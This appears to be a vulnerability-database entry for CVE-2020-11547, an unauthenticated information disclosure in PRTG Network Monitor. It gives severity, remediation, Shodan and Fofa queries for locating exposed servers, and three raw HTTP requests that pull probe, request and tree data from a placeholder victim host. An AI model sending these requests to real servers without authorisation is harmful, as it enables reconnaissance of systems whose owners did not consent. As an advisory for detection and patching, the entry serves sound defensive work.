| Title | PRTG Network Monitor <20.1.57.1745 - Information Disclosure |
|---|---|
| Author | x6263 |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to gain sensitive information from the PRTG Network Monitor. |
| Remediation | Upgrade PRTG Network Monitor to version 20.1.57.1745 or higher to mitigate the information disclosure vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.87328 |
| CVE ID | CVE-2020-11547 |
| CWE ID | CWE-306 |
| Shodan Query | title:"prtg"http.title:"prtg" |
| Fofa Query | title="prtg" |
| Tags | cve2020 cve prtg disclosure paessler vuln |
PRTG Network Monitor before 20.1.57.1745 is susceptible to information disclosure. An attacker can obtain information about probes running or the server itself via an HTTP request, thus potentially being able to modify data and/or execute unauthorized administrative operations in the context of the affected site.
GET /public/login.htm?type=probes HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /public/login.htm?type=requests HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /public/login.htm?type=treestat HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11547.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11547.pcap
N/AN/A